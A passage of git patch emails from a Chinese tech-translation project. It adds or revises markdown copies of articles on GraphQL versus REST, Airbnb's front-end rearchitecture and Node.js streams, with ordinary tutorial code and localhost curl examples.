+  $.get(MOVIES_AND_ACTORS_URL, movies => renderRoot(movies));
+}
+function renderRoot(movies) {
+  movies.forEach(movie => {
+    $('#movies').append(buildMovieElement(movie));
+    movie.actors && movie.actors.forEach(actor => {
+      const selector = '#' + getMovieId(movie) + ' .actors';
+      const actorElement = buildActorElement(actor);
+      $(selector).append(actorElement);
+    })
+  });
+}
+
+```
+
+Our new application will be much speedier than the last iteration, but it is still not perfect. If you open up `http://localhost:4000` and look at our simple web page you should see something like this:
+
+![Demo App](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/05/1494257488004-DemoApp.png)
+
+If you look closely, you’ll notice that our page is using a movie’s title and image, and an actor’s name and image (i.e. we are only using 2 of 8 fields in a movie object and 2 of 7 fields in an actor object). That means we are wasting roughly three-quarters of the information that we are requesting over the network! This excess bandwidth usage can have very real impacts on performance as well as your infrastructure costs!
+
+A savvy backend developer might scoff at this and quickly implement a special query parameter named fields that takes an array of field names that will dynamically determine which fields should be returned in a specific request. 
+
+For example, instead of `curl http://localhost:3000/moviesAndActors` we might have `curl http://localhost:3000/moviesAndActors?fields=title,image`. We might even have another special query parameter `actor_fields` that specifies which fields in the actor models should be included. E.G. `curl http://localhost:3000/moviesAndActors?fields=title,image&actor_fields=name,image`. 
+
+Now, this would be a near optimal implementation for our simple application but it introduces a bad habit where we create custom endpoints for specific pages in our client applications. The problem becomes more apparent when you start building an iOS app that shows different information than your web page and an Android app that shows different information than the iOS app.
+
+Wouldn’t it be nice if we could build a generic API that explicitly represents the entities in our data model as well as the relationships between those entities but that does not suffer from the `1 + M + M + sum(Am)` performance problem? Good news! We can!
+
+## Querying with GraphQL ##
+
+With GraphQL, we can skip directly to the optimal query and fetch all the info we need and nothing more with a simple, intuitive query:
+
+```
+query MoviesAndActors {
+  movies {
+    title
+    image
+    actors {
+      image
+      name
+    }
+  }
+}
+
+```
+
+Seriously! To try it yourself, open GraphiQL (the awesome browser based GraphQL IDE) at [http://localhost:5000](http://localhost:5000) and run the query above. 
+
+Now, let’s dive a little deeper.
+
+## Thinking in GraphQL ##
+
+GraphQL takes a fundamentally different approach to APIs than REST. Instead of relying on HTTP constructs like verbs and URIs, it layers an intuitive query language and powerful type system on top of our data. The type system provides a strongly-typed contract between the client and server, and the query language provides a mechanism that the client developer can use to performantly fetch any data he or she might need for any given page.
+
+GraphQL encourages you to think about your data as a virtual graph of information. Entities that contain information are called types and these types can relate to one another via fields. Queries start at the root and traverse this virtual graph while grabbing the information they need along the way. 
+
+This “virtual graph” is more explicitly expressed as a **schema**. A **schema** is a collection of types, interfaces, enums, and unions that make up your API’s data model. GraphQL even includes a convenient schema language that we can use to define our API. For example, this is the schema for our movie API:
+
+```
+schema {
+    query: Query
+}
+
+type Query {
+    movies: [Movie]
+    actors: [Actor]
+    movie(id: Int!): Movie
+    actor(id: Int!): Actor
+    searchMovies(term: String): [Movie]
+    searchActors(term: String): [Actor]
+}
+
+type Movie {
+    id: Int
+    title: String
+    image: String
+    release_year: Int
+    tags: [String]
+    rating: Float
+    actors: [Actor]
+}
+
+type Actor {
+    id: Int
+    name: String
+    image: String
+    dob: String
+    num_credits: Int
+    movies: [Movie]
+}
+
+```
+
+The type system opens the door for a lot of awesome stuff including better tools, better documentation, and more efficient applications. There is so much we could talk about, but for now, let’s skip ahead and highlight a few more scenarios that showcase the differences between REST and GraphQL.
+
+## GraphQL vs Rest: Versioning ##
+
+A [simple google search](https://www.google.com/search?q=REST+versioning&amp;oq=REST+versioning) will result in many opinions on the best way to version (or evolve) a REST API. We’re not going to go down that rabbit hole, but I do want to stress that this is a non-trivial problem. One of the reasons that versioning is so difficult is that it is often very difficult to know what information is being used and by which applications or devices.
+
+Adding information is generally easy with both REST and GraphQL. Add the field and it will flow down to your REST clients and will be safely ignored in GraphQL until you change your queries. However, removing and editing information is a different story.
+
+In REST, it is hard to know at the field level what information is being used. We might know that an endpoint `/movies` is being used but we don’t know if the client is using the title, the image, or both. A possible solution is to add a query parameter `fields` that specifies which fields to return, but these parameters are almost always optional. For this reason, you will often see evolution occur at the endpoint level where we introduce a new endpoint `/v2/movies`. This works but also increases the surface area of our API as well as adds a burden on the developer to keep up to date and comprehensive documentation.
+
+Versioning in GraphQL is very different. Every GraphQL query is required to state exactly what fields are being requested in any given query. The fact that this is mandatory means that we know exactly what information is being requested and allows us to ask the question of how often and by who. GraphQL also includes primitives that allow us to decorate a schema with deprecated fields and messages for why they are being deprecated.
+
+This is what versioning looks like in GraphQL:
+
+![Versioning in GraphQL](https://philsturgeon.uk/images/article_images/2017-01-24-graphql-vs-rest-overview/graphql-versioning-marketing-site.gif)
+
+## GraphQL vs REST: Caching ##
+
+Caching in REST is straightforward and effective. In fact, caching is [one of the six guiding constraints of REST](https://en.wikipedia.org/wiki/Representational_state_transfer) and is baked into RESTful designs. If a response from an endpoint `/movies/1` indicates that the response can be cached, any future requests to `/movies/1` can simply be replaced by the item in the cache. Simple.
+
+Caching in GraphQL is tackled slightly differently. Caching a GraphQL API will often require introducing some sort of unique identifier for each object in the API. When each object has a unique identifier, clients can build normalized caches that use this identifier to reliably cache, update, and expire objects. When the client issues downstream queries that reference that object, the cached version of the object can be used instead. If you are interested in learning more about how caching in GraphQL works here is a [good article that covers the subject more in depth](http://graphql.org/learn/caching/).
+
+## GraphQL vs REST: Developer Experience ##
+
+Developer experience is an extremely important aspect of application development and is the reason we as engineers invest so much time into building good tooling. The comparison here is somewhat subjective but I think still important to mention.
+
+REST is tried and true and has a rich ecosystem of tools to help developers document, test, and inspect RESTful APIs. With that being said there is a huge price developers pay as REST APIs scale. The number of endpoints quickly becomes overwhelming, inconsistencies become more apparent, and versioning remains difficult.
+
+GraphQL really excels in the developer experience department. The type system has opened the door for awesome tools such as the GraphiQL IDE, and documentation is built into the schema itself. In GraphQL there is also only ever one endpoint, and, instead of relying on documentation to discover what data is available, you have a type safe language and auto-complete which you can use to quickly get up to speed with an API. GraphQL was also designed to work brilliantly with modern front-end frameworks and tools like React and Redux. If you are thinking of building an application with React, I highly recommend you check out either [Relay](https://facebook.github.io/relay/) or [Apollo client](https://github.com/apollographql/apollo-client).
+
+## Conclusion ##
+
+GraphQL offers a somewhat more opinionated yet extremely powerful set of tools for building efficient data-driven applications. REST is not going to disappear anytime soon but there is a lot to be desired especially when it comes to building client applications. 
+
+If you are interested in learning more, check out [Scaphold.io’s GraphQL Backend as a Service](https://scaphold.io). In a [few minutes you will have a production ready GraphQL API deployed on AWS](https://www.youtube.com/watch?v=yaacnYUqY1Q) and ready to be customized and extended with your own business logic. 
+
+I hope you enjoyed this post and if you have any thoughts or comments, I would love to hear from you. Thanks for reading!
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From aa4f39eaf1d7584e276c0abe911380229882cf93 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinlei@gpdata.cn>
Date: Fri, 26 May 2017 14:07:08 +0800
Subject: [PATCH 536/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E6=84=8F=E8=A7=81=E7=9A=84=E4=B8=80=E4=BA=9B=E4=BF=AE=E6=94=B9?=
 =?UTF-8?q?=20=E6=B7=BB=E5=8A=A0=E6=A0=A1=E5=AF=B9=E8=80=85=E4=BF=A1?=
 =?UTF-8?q?=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/rearchitecting-airbnbs-frontend.md | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/TODO/rearchitecting-airbnbs-frontend.md b/TODO/rearchitecting-airbnbs-frontend.md
index d6fe13c91b0..ea1bb372163 100644
--- a/TODO/rearchitecting-airbnbs-frontend.md
+++ b/TODO/rearchitecting-airbnbs-frontend.md
@@ -2,11 +2,11 @@
 > * 原文作者：[Adam Neary](https://medium.com/@AdamRNeary)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[sunui](https://github.com/sunui)
-> * 校对者：
+> * 校对者：[Dalston Xu](https://github.com/xunge0613)、[yzgyyang](https://github.com/yzgyyang)
 
 # Airbnb 的前端重构 #
 
-概述：最近，我们重新思考了 Airbnb 代码库中 JavaScript 端的架构。本文将讨论：（1）催生一些变化的产品驱动因素，（2）我们如何一步步摆脱遗留的 Rails 解决方案，（3）一些新技术栈的关键性支柱。彩蛋：我们将讨论接下来要做的事。
+概述：最近，我们重新思考了 Airbnb 代码库中 JavaScript 部分的架构。本文将讨论：（1）催生一些变化的产品驱动因素，（2）我们如何一步步摆脱遗留的 Rails 解决方案，（3）一些新技术栈的关键性支柱。彩蛋：我们将讨论接下来要做的事。
 
 
 Airbnb 每天接收超过 7500 万次搜索，这使得搜索页面成为我们流量最高的页面。近十年来，工程师们一直在发展、加强、和优化 Rails 输出页面的方式。
@@ -17,28 +17,28 @@ Airbnb 每天接收超过 7500 万次搜索，这使得搜索页面成为我们
 
 用于一个广泛搜索的路由间的过渡
 
-我们希望用户体验流畅，要去斟酌用户在浏览页面和缩小搜索范围时遇到的内容，而不是从 [www.airbnb.com](http://www.airbnb.com) 着陆页导航，（1）访问一个搜索结果页，（2）访问一个单一列表页，（3）访问预订流程，（4）**每个页面都由 Rails 单独传送**。
+为了使用户体验流畅，我们选择调整用户浏览页面和缩小搜索范围的交互方式，而不再采用以前那样的多页交互方式：（1）首先访问着落页 [www.airbnb.com](http://www.airbnb.com)，（2）接着进入搜索结果页，（3）随后访问某个列表页，（4）最后进入预订流程。**每个页面都是一个独立的 Rails 页面**。
 
 ![](https://cdn-images-1.medium.com/max/800/1*epBwi0kxrcW5a6Wv-T4rSg.gif)
 
-设计三种浏览搜索页的状态：新用户，老用户，和营销页。
+设计三种浏览搜索页的状态：新用户、老用户和营销页。
 
-在标签页之间切换和与列表进行交互应该感到惬意而轻松。事实上，如今没有什么可以阻止我们致力于在中小屏幕上提供与本地应用相符的体验。
+在标签页之间切换和与列表进行交互应该感到惬意而轻松。事实上，如今没有什么可以阻止我们在中小屏幕上提供与原生应用一致的体验。
 
 
 ![](https://cdn-images-1.medium.com/max/800/1*y_gKoEDVvBvJpGq7hfcr_g.gif)
 
-再标签页之间切换的未来概念，考虑异步加载内容
+会考虑将来在切换标签页时，异步加载相应内容
 
-要开发这种类型的体验，我们需要摆脱传统的页面切换方法，最终我们兴奋地全面重构了前端代码。
+为了实现这种体验，我们需要摆脱传统的页面切换方法，最终我们兴奋地全面重构了前端代码。
 
-[Leland Richardson](https://medium.com/@intelligibabble) [最近在 React Conf 大会上发表了关于 React Native 的存在于高访问量 native 应用中的“褐色地带”。 ](https://www.youtube.com/watch?v=tWitQoPgs8w)这篇文章将会探讨如何在类似的约束下进行强制性升级，不过是在 web 端。如果你遇到类似的情况，希望对你有帮助。
+[Leland Richardson](https://medium.com/@intelligibabble) [最近在 React Conf 大会上发表了演讲，称 React Native 如今正处于和现有的高访问量原生应用共存的“褐色地带”。](https://www.youtube.com/watch?v=tWitQoPgs8w)这篇文章将会探讨如何在类似的限制条件下进行 web 端重构。希望你在遇到类似情况时，这篇文章对你有所帮助。
 
 ### 从 Rails 之中解脱 ###
 
 在我们的烧烤开火之前，因为我们的线路图上存在所有有趣的[渐进式 web 应用](https://developers.google.com/web/progressive-web-apps/)（WPA）,我们需要从 Rails 中解脱出来（或者至少在 Airbnb 用 Rails 提供单独页面的这种方式）。
 
-不幸的是，就在几个月前，我们的搜索页还包含一些非常老旧的代码，像指环王一样，触碰它就要小心自负后果。有趣的事实：我曾尝试用一个简单的 React 组件替换一个 Rails presenter 备份过的小巧的 [Handlebars](http://handlebarsjs.com/) 模板，突然很多完全不相关的部分都崩掉了——甚至 API 响应都除了问题。原来，presenter 改变了后备 Rails 模型，多年来即使在 UI 没有渲染的时候，它也影响着所有的下游数据。
+不幸的是，就在几个月前，我们的搜索页还包含一些非常老旧的代码，像指环王一样，触碰它就要小心自负后果。有趣的事实：我曾尝试用一个简单的 React 组件来替换基于 Rails presenter 的 [Handlebars](http://handlebarsjs.com/) 模板，突然很多完全不相关的部分都崩掉了 —— 甚至 API 响应都出了问题。原来，presenter 改变了底层 Rails 模型，多年来即使在 UI 没有渲染的时候，它也影响着所有的下游数据。
 
 简而言之，我们在这个项目中，像 Indiana Jone 用自己的宝物交换了一袋沙子，突然间庙宇开始崩塌，我们正在从石块中奔跑。
 
@@ -185,7 +185,7 @@ export default compose(withPhrases, withHypernovaBootstrap);
 
 在 chrome Timeline 中 route 包的懒加载
 
-但是，如果你看到上面的内容，你就会发现[代码分割](https://webpack.github.io/docs/code-splitting.html) 和[延迟加载](https://webpack.js.org/guides/lazy-load-react/) 捆绑路由的影响。实质上，我们是在服务端渲染的页面并且仅仅传输最低限度的一部分用于在浏览器端交互的 Javascript 代码，然后我们利用浏览器的空余时间主动下载其余部分。
+但是，如果你看到上面的内容，你就会发现[代码分割](https://webpack.github.io/docs/code-splitting.html)和[延迟加载](https://webpack.js.org/guides/lazy-load-react/)捆绑路由的影响。实质上，我们是在服务端渲染的页面并且仅仅传输最低限度的一部分用于在浏览器端交互的 Javascript 代码，然后我们利用浏览器的空余时间主动下载其余部分。
 
 在 Rails 端，我们有一个 controller 用于通过 SPA 交付的所有路由。每一个 action 只负责：（1）出发客户端导航中的一切请求，（2）将数据和配置引导到 Hypernova。我们把每个 action （controller、helpers 和 presenters 之间）上千行的 Ruby 代码缩减到 20-30 行。实力碾压。
 
@@ -377,7 +377,7 @@ RoomTypeFilter.defaultProps = defaultProps;
 
 我们使用 Redux 来处理所有的 API 数据和“全局”数据比如认证状态和体验配置。个人来讲我喜欢 [redux-pack](https://github.com/lelandrichardson/redux-pack) 处理异步，你会发现新大陆。
 
-然而，当遇到页面上所有的复杂性——特别是围绕搜索的——对于一些像表单元素这样低级的用户交互使用 redux 就没那么好用了。我们发现无论如何优化，Redux 循环依然会造成输入体验的卡顿。
+然而，当遇到页面上所有的复杂性 —— 特别是围绕搜索的 —— 对于一些像表单元素这样低级的用户交互使用 redux 就没那么好用了。我们发现无论如何优化，Redux 循环依然会造成输入体验的卡顿。
 
 ![](https://cdn-images-1.medium.com/max/600/1*12LgecpKz8HA2e2evkYacw.png)
 
@@ -482,7 +482,7 @@ export default function withFilters(WrappedComponent) {
 }
 ```
 
-这里我们有一个利落的技巧。每一个需要和筛选交互的组件只需被 HOC 包裹起来，你就能做到了。它甚至还有属性类型。每个组件都通过 Redux 连接到**responseFilters**（与当前显示的结果相关联的那些）,并同时保有一个本地 stagedFilters 状态对象用于更改。
+这里我们有一个利落的技巧。每一个需要和筛选交互的组件只需被 HOC 包裹起来，你就能做到了。它甚至还有属性类型。每个组件都通过 Redux 连接到 **responseFilters**（与当前显示的结果相关联的那些）,并同时保有一个本地 stagedFilters 状态对象用于更改。
 
 通过以这种方式处理状态，与我们的价格滑块进行交互对页面的其余部分没有影响，所以表现很好。而且但所有过滤器面板都具有相同的功能签名，因此开发也很简单。
 

From 18ad13fb0f4b9d20b836e94eae93c61f0c0fa7cc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 26 May 2017 14:17:13 +0800
Subject: [PATCH 537/638] Create node-js-streams-everything-you-need-to-know.md

---
 ...-js-streams-everything-you-need-to-know.md | 572 ++++++++++++++++++
 1 file changed, 572 insertions(+)
 create mode 100644 TODO/node-js-streams-everything-you-need-to-know.md

diff --git a/TODO/node-js-streams-everything-you-need-to-know.md b/TODO/node-js-streams-everything-you-need-to-know.md
new file mode 100644
index 00000000000..1f9586e0148
--- /dev/null
+++ b/TODO/node-js-streams-everything-you-need-to-know.md
@@ -0,0 +1,572 @@
+> * 原文地址：[Node.js Streams: Everything you need to know](https://medium.freecodecamp.com/node-js-streams-everything-you-need-to-know-c9141306be93)
+> * 原文作者：[Samer Buna](https://medium.freecodecamp.com/@samerbuna?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Node.js Streams: Everything you need to know #
+
+![](https://cdn-images-1.medium.com/max/2000/1*xGNVMFqXXTeK7ZyK2eN21Q.jpeg)
+
+[Image source](https://commons.wikimedia.org/wiki/File:Urban_stream_in_park.jpg)
+
+Node.js streams have a reputation for being hard to work with, and even harder to understand. Well I’ve got good news for you — that’s no longer the case.
+
+Over the years, developers created lots of packages out there with the sole purpose of making working with streams easier. But in this article, I’m going to focus on the native [Node.js stream API](https://nodejs.org/api/stream.html).
+
+> “Streams are Node’s best and most misunderstood idea.”
+
+> — Dominic Tarr
+
+### What exactly are streams? ###
+
+Streams are collections of data — just like arrays or strings. The difference is that streams might not be available all at once, and they don’t have to fit in memory. This makes streams really powerful when working with large amounts of data, or data that’s coming from an external source one *chunk* at a time.
+
+However, streams are not only about working with big data. They also give us the power of composability in our code. Just like we can compose powerful linux commands by piping other smaller Linux commands, we can do exactly the same in Node with streams.
+
+![](https://cdn-images-1.medium.com/max/800/1*Fp3dyVZckIUjPFOp58x-zQ.png)
+
+Composability with Linux commands
+
+```
+const grep = ... // A stream for the grep output
+const wc = ... // A stream for the wc input
+
+grep.pipe(wc)
+```
+
+Many of the built-in modules in Node implement the streaming interface:
+
+![](https://cdn-images-1.medium.com/max/800/1*lhOvZiDrVbzF8_l8QX3ACw.png)
+
+Screenshot captured from my Pluralsight course — Advanced Node.js
+
+The list above has some examples for native Node.js objects that are also readable and writable streams. Some of these objects are both readable and writable streams, like TCP sockets, zlib and crypto streams.
+
+Notice that the objects are also closely related. While an HTTP response is a readable stream on the client, it’s a writable stream on the server. This is because in the HTTP case, we basically read from one object (`http.IncomingMessage`) and write to the other (`http.ServerResponse`).
+
+Also note how the `stdio` streams (`stdin`, `stdout`, `stderr`) have the inverse stream types when it comes to child processes. This allows for a really easy way to pipe to and from these streams from the main process `stdio` streams.
+
+### A streams practical example ###
+
+Theory is great, but often not 100% convincing. Let’s see an example demonstrating the difference streams can make in code when it comes to memory consumption.
+
+Let’s create a big file first:
+
+```
+const fs = require('fs');
+const file = fs.createWriteStream('./big.file');
+
+for(let i=0; i<= 1e6; i++) {
+  file.write('Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\n');
+}
+
+file.end();
+```
+
+Look what I used to create that big file. A writable stream!
+
+The `fs` module can be used to read from and write to files using a stream interface. In the example above, we’re writing to that `big.file` through a writable stream 1 million lines with a loop.
+
+Running the script above generates a file that’s about ~400 MB.
+
+Here’s a simple Node web server designed to exclusively serve the `big.file`:
+
+```
+const fs = require('fs');
+const server = require('http').createServer();
+
+server.on('request', (req, res) => {
+  fs.readFile('./big.file', (err, data) => {
+    if (err) throw err;
+
+    res.end(data);
+  });
+});
+
+server.listen(8000);
+```
+
+When the server gets a request, it’ll serve the big file using the asynchronous method, `fs.readFile`. But hey, it’s not like we’re blocking the event loop or anything. Every thing is great, right? Right?
+
+Well, let’s see what happens when we run the server, connect to it, and monitor the memory while doing so.
+
+When I ran the server, it started out with a normal amount of memory, 8.7 MB:
+
+![](https://cdn-images-1.medium.com/max/800/1*125_8HQ4KzJkeBcj1LcEiQ.png)
+
+Then I connected to the server. Note what happened to the memory consumed:
+
+!![](https://cdn-images-1.medium.com/max/800/1*SGJw31T5Q9Zfsk24l2yirg.gif)
+
+Wow — the memory consumption jumped to 434.8 MB.
+
+We basically put the whole `big.file` content in memory before we wrote it out to the response object. This is very inefficient.
+
+The HTTP response object (`res` in the code above) is also a writable stream. This means if we have a readable stream that represents the content of `big.file`, we can just pipe those two on each other and achieve mostly the same result without consuming ~400 MB of memory.
+
+Node’s `fs` module can give us a readable stream for any file using the `createReadStream` method. We can pipe that to the response object:
+
+```
+const fs = require('fs');
+const server = require('http').createServer();
+
+server.on('request', (req, res) => {
+  const src = fs.createReadStream('./big.file');
+  src.pipe(res);
+});
+
+server.listen(8000);
+```
+
+Now when you connect to this server, a magical thing happens (look at the memory consumption):
+
+![](https://cdn-images-1.medium.com/max/800/1*iWNNIMhF9QmD25Vho6-fRQ.gif)
+
+*What’s happening?*
+
+When a client asks for that big file, we stream it one chunk at a time, which means we don’t buffer it in memory at all. The memory usage grew by about 25 MB and that’s it.
+
+You can push this example to its limits. Regenerate the `big.file` with five million lines instead of just one million, which would take the file to well over 2 GB, and that’s actually bigger than the default buffer limit in Node.
+
+If you try to serve that file using `fs.readFile`, you simply can’t, by default (you can change the limits). But with `fs.createReadStream`, there is no problem at all streaming 2 GB of data to the requester, and best of all, the process memory usage will roughly be the same.
+
+Ready to learn streams now?
+
+> This article is a write-up of part of [my Pluralsight course about Node.js](https://www.pluralsight.com/courses/nodejs-advanced). I cover similar content in video format there.
+
+### Streams 101 ###
+
+There are four fundamental stream types in Node.js: Readable, Writable, Duplex, and Transform streams.
+
+- A readable stream is an abstraction for a source from which data can be consumed. An example of that is the `fs.createReadStream` method.
+- A writable stream is an abstraction for a destination to which data can be written. An example of that is the `fs.createWriteStream` method.
+- A duplex streams is both Readable and Writable. An example of that is a TCP socket.
+- A transform stream is basically a duplex stream that can be used to modify or transform the data as it is written and read. An example of that is the `zlib.createGzip` stream to compress the data using gzip. You can think of a transform stream as a function where the input is the writable stream part and the output is readable stream part. You might also hear transform streams referred to as “*through streams*.”
+
+All streams are instances of `EventEmitter`. They emit events that can be used to read and write data. However, we can consume streams data in a simpler way using the `pipe` method.
+
+#### The pipe method ####
+
+Here’s the magic line that you need to remember:
+
+```
+readableSrc.pipe(writableDest)
+```
+
+In this simple line, we’re piping the output of a readable stream — the source of data, as the input of a writable stream — the destination. The source has to be a readable stream and the destination has to be a writable one. Of course, they can both be duplex/transform streams as well. In fact, if we’re piping into a duplex stream, we can chain pipe calls just like we do in Linux:
+
+```
+readableSrc
+  .pipe(transformStream1)
+  .pipe(transformStream2)
+  .pipe(finalWrtitableDest)
+```
+
+The `pipe` method returns the destination stream, which enabled us to do the chaining above. For streams `a` (readable), `b` and `c` (duplex), and `d` (writable), we can:
+
+```
+a.pipe(b).pipe(c).pipe(d)
+
+# Which is equivalent to:
+a.pipe(b)
+b.pipe(c)
+c.pipe(d)
+
+# Which, in Linux, is equivalent to:
+$ a | b | c | d
+```
+
+The `pipe` method is the easiest way to consume streams. It’s generally recommended to either use the `pipe` method or consume streams with events, but avoid mixing these two. Usually when you’re using the `pipe` method you don’t need to use events, but if you need to consume the streams in more custom ways, events would be the way to go.
+
+#### Stream events ####
+
+Beside reading from a readable stream source and writing to a writable destination, the `pipe` method automatically manages a few things along the way. For example, it handles errors, end-of-files, and the cases when one stream is slower or faster than the other.
+
+However, streams can also be consumed with events directly. Here’s the simplified event-equivalent code of what the `pipe` method mainly does to read and write data:
+
+```
+# readable.pipe(writable)
+
+readable.on('data', (chunk) => {
+  writable.write(chunk);
+});
+
+readable.on('end', () => {
+  writable.end();
+});
+```
+
+Here’s a list of the important events and functions that can be used with readable and writable streams:
+
+![](https://cdn-images-1.medium.com/max/800/1*HGXpeiF5-hJrOk_8tT2jFA.png)
+
+Screenshot captured from my Pluralsight course - Advanced Node.js
+
+The events and functions are somehow related because they are usually used together.
+
+The most important events on a readable stream are:
+
+- The `data` event, which is emitted whenever the stream passes a chunk of data to the consumer
+- The `end` event, which is emitted when there is no more data to be consumed from the stream.
+
+The most important events on a writable stream are:
+
+- The `drain` event, which is a signal that the writable stream can receive more data.
+- The `finish` event, which is emitted when all data has been flushed to the underlying system.
+
+Events and functions can be combined to make for a custom and optimized use of streams. To consume a readable stream, we can use the `pipe`/`unpipe` methods, or the `read`/`unshift`/`resume` methods. To consume a writable stream, we can make it the destination of `pipe`/`unpipe`, or just write to it with the `write` method and call the `end` method when we’re done.
+
+#### Paused and Flowing Modes of Readable Streams ####
+
+Readable streams have two main modes that affect the way we can consume them:
+
+- They can be either in the **paused** mode
+- Or in the **flowing** mode
+
+Those modes are sometimes referred to as pull and push modes.
+
+All readable streams start in the paused mode by default but they can be easily switched to flowing and back to paused when needed. Sometimes, the switching happens automatically.
+
+When a readable stream is in the paused mode, we can use the `read()` method to read from the stream on demand, however, for a readable stream in the flowing mode, the data is continuously flowing and we have to listen to events to consume it.
+
+In the flowing mode, data can actually be lost if no consumers are available to handle it. This is why, when we have a readable stream in flowing mode, we need a `data` event handler. In fact, just adding a `data` event handler switches a paused stream into flowing mode and removing the `data` event handler switches the stream back to paused mode. Some of this is done for backward compatibility with the older Node streams interface.
+
+To manually switch between these two stream modes, you can use the `resume()` and `pause()` methods.
+
+![](https://cdn-images-1.medium.com/max/800/1*HI-mtispQ13qm8ib5yey3g.png)
+
+Screenshot captured from my Pluralsight course — Advanced Node.js
+
+When consuming readable streams using the `pipe` method, we don’t have to worry about these modes as `pipe` manages them automatically.
+
+### Implementing Streams ###
+
+When we talk about streams in Node.js, there are two main different tasks:
+
+- The task of **implementing** the streams.
+- The task of **consuming** them.
+
+So far we’ve been talking about only consuming streams. Let’s implement some!
+
+Stream implementers are usually the ones who `require` the `stream` module.
+
+#### Implementing a Writable Stream ####
+
+To implement a writable stream, we need to to use the `Writable` constructor from the stream module.
+
+```
+const { Writable } = require('streams');
+```
+
+We can implement a writable stream in many ways. We can, for example, extend the `Writable` constructor if we want
+
+```
+class myWritableStream extends Writable {
+}
+```
+
+However, I prefer the simpler constructor approach. We just create an object from the `Writable` constructor and pass it a number of options. The only required option is a `write` function which exposes the chunk of data to be written.
+
+```
+const { Writable } = require('stream');
+const outStream = new Writable({
+  write(chunk, encoding, callback) {
+    console.log(chunk.toString());
+    callback();
+  }
+});
+
+process.stdin.pipe(outStream);
+```
+
+This write method takes three arguments.
+
+- The **chunk** is usually a buffer unless we configure the stream differently.
+- The **encoding** argument is needed in that case, but usually we can ignore it.
+- The **callback** is a function that we need to call after we’re done processing the data chunk. It’s what signals whether the write was successful or not. To signal a failure, call the callback with an error object.
+
+In `outStream`, we simply `console.log` the chunk as a string and call the `callback` after that without an error to indicate success. This is a very simple and probably not so useful *echo* stream. It will echo back anything it receives.
+
+To consume this stream, we can simply use it with `process.stdin`, which is a readable stream, so we can just pipe `process.stdin` into our `outStream`.
+
+When we run the code above, anything we type into `process.stdin` will be echoed back using the `outStream``console.log` line.
+
+This is not a very useful stream to implement because it’s actually already implemented and built-in. This is very much equivalent to `process.stdout`. We can just pipe `stdin` into `stdout` and we’ll get the exact same echo feature with this single line:
+
+```
+process.stdin.pipe(process.stdout);
+```
+
+#### Implement a Readable Stream ####
+
+To implement a readable stream, we require the `Readable` interface and construct an object from it:
+
+```
+const { Readable } = require('stream');
+
+const inStream = new Readable({});
+```
+
+There is a simple way to implement readable streams. We can just directly `push` the data that we want the consumers to consume.
+
+```
+const { Readable } = require('stream');  
+
+const inStream = new Readable();
+
+inStream.push('ABCDEFGHIJKLM');
+inStream.push('NOPQRSTUVWXYZ');
+
+inStream.push(null); // No more data
+
+inStream.pipe(process.stdout);
+```
+
+When we `push` a `null` object, that means we want to signal that the stream does not have any more data.
+
+To consume this simple readable stream, we can simply pipe it into the writable stream `process.stdout`.
+
+When we run the code above, we’ll be reading all the data from `inStream` and echoing it to the standard out. Very simple, but also not very efficient.
+
+We’re basically pushing all the data in the stream *before* piping it to `process.stdout`. The much better way is to push data *on demand*, when a consumer asks for it. We can do that by implementing the `read()` method in a readable stream configuration:
+
+```
+const inStream = new Readable({
+  read(size) {
+    // there is a demand on the data... Someone wants to read it.
+  }
+});
+```
+
+When the read method is called on a readable stream, the implementation can push partial data to the queue. For example, we can push one letter at a time, starting with character code 65 (which represents A), and incrementing that on every push:
+
+```
+const inStream = new Readable({
+  read(size) {
+    this.push(String.fromCharCode(this.currentCharCode++));
+    if (this.currentCharCode > 90) {
+      this.push(null);
+    }
+  }
+});
+
+inStream.currentCharCode = 65
+
+inStream.pipe(process.stdout);
+```
+
+
+
+While the consumer is reading a readable stream, the `read` method will continue to fire, and we’ll push more letters. We need to stop this cycle somewhere, and that’s why an if statement to push null when the currentCharCode is greater than 90 (which represents Z).
+
+This code is equivalent to the simpler one we started with but now we’re pushing data on demand when the consumer asks for it. You should always do that.
+
+#### Implementing Duplex/Transform Streams ####
+
+With Duplex streams, we can implement both readable and writable streams with the same object. It’s as if we inherit from both interfaces.
+
+Here’s an example duplex stream that combines the two writable and readable examples implemented above:
+
+```
+const { Duplex } = require('stream');
+
+const inoutStream = new Duplex({
+  write(chunk, encoding, callback) {
+    console.log(chunk.toString());
+    callback();
+  },
+
+  read(size) {
+    this.push(String.fromCharCode(this.currentCharCode++));
+    if (this.currentCharCode > 90) {
+      this.push(null);
+    }
+  }
+});
+
+inoutStream.currentCharCode = 65;
+
+process.stdin.pipe(inoutStream).pipe(process.stdout);
+```
+
